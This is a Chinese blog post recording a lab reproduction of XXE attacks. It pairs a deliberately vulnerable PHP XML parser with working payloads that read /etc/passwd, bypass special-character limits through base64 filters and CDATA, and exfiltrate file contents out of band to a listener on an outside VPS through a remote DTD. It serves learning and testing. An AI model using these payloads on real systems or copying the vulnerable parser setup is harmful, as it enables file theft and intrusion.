XXE復(fù)現(xiàn)筆記

很早的博客筆記,簡書記下,避免丟失。
https://zzqsmile.github.io/2019/08/19/web安全/XXE/XXE/

好記性不如爛筆頭,關(guān)于XXE還是要記錄下自己的學(xué)習(xí)過程,以后看起來會(huì)更清楚,詳細(xì)原理不再多講,簡單做個(gè)實(shí)驗(yàn)記錄下筆記以便使用。

實(shí)驗(yàn)環(huán)境

web服務(wù)器:10.12.10.198
VPS:     107.182.30.95      

實(shí)驗(yàn)一:有回顯讀本地敏感文件(Normal XXE)

web服務(wù)器放置解析XML的php代碼:
示例代碼
xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<creds>&goodies;</creds>

結(jié)果如下:

image.png

讀取文件種可能會(huì)有特殊符號(hào)如&,<,>,",'等會(huì)導(dǎo)致讀取失敗,比如下面讀取含有特殊字符文件2.txt失敗:

廢話不多說,解決辦法有兩種:

第一種:將讀取文件使用base64編碼即可
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> ]> 
<creds>&goodies;</creds>

結(jié)果如下:


image.png

第二種:將讀取數(shù)據(jù)放在CDATA 標(biāo)簽中輸出進(jìn)行繞過
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///2.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://107.182.30.95/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

服務(wù)器上放置evil.dtd:

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

結(jié)果如下:


image.png

注意:讀取文件時(shí)候要注意文件以及文件夾權(quán)限問題,否則會(huì)讀取失敗,記錄下遇到的這個(gè)坑吧,在這浪費(fèi)了不少時(shí)間,燒腦~


實(shí)驗(yàn)二:無回顯讀取本地敏感文件(Blind OOB XXE)

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">

此處需要注意,因?yàn)閷?shí)體值中不能有%,故需要將%轉(zhuǎn)成&#37;或者&#x25;,即正確寫法如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">

或者:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://107.182.30.95/test.dtd">
%remote;%int;%send;
]>

在服務(wù)器監(jiān)聽端口,發(fā)送payload結(jié)果如下:

image.png
image.png

以上就是XXE基本利用方式總結(jié)筆記,當(dāng)然XXE的危害還有很多,由于時(shí)間原因,暫不記錄。

VPS已廢,就不打碼了。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 文章轉(zhuǎn)載自https://xz.aliyun.com/t/3357 作者:K0rz3n 一、XXE 是什么 介紹 ...
    Echocipher閱讀 1,413評(píng)論 0 1
  • title: XXE學(xué)習(xí)date: 2019-03-22 20:51:41tags:- XXEcategories...
    Miracle778閱讀 3,224評(píng)論 0 5
  • XXE漏洞 外部實(shí)體注入攻擊(XXE) 漏洞簡介 XXE漏洞全稱XML External Entity Injec...
    Alpenliebe1閱讀 637評(píng)論 0 0
  • 外部實(shí)體引用 DTD文件用來定義XML文件遵循的規(guī)則(格式),而!ENTITY就可實(shí)現(xiàn)如同占位符的作用,例如: 此...
    gambr0閱讀 2,332評(píng)論 0 1
  • XML基礎(chǔ)知識(shí): XML用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語言,可以用來標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對(duì)...
    book4yi閱讀 1,384評(píng)論 0 1

友情鏈接更多精彩內(nèi)容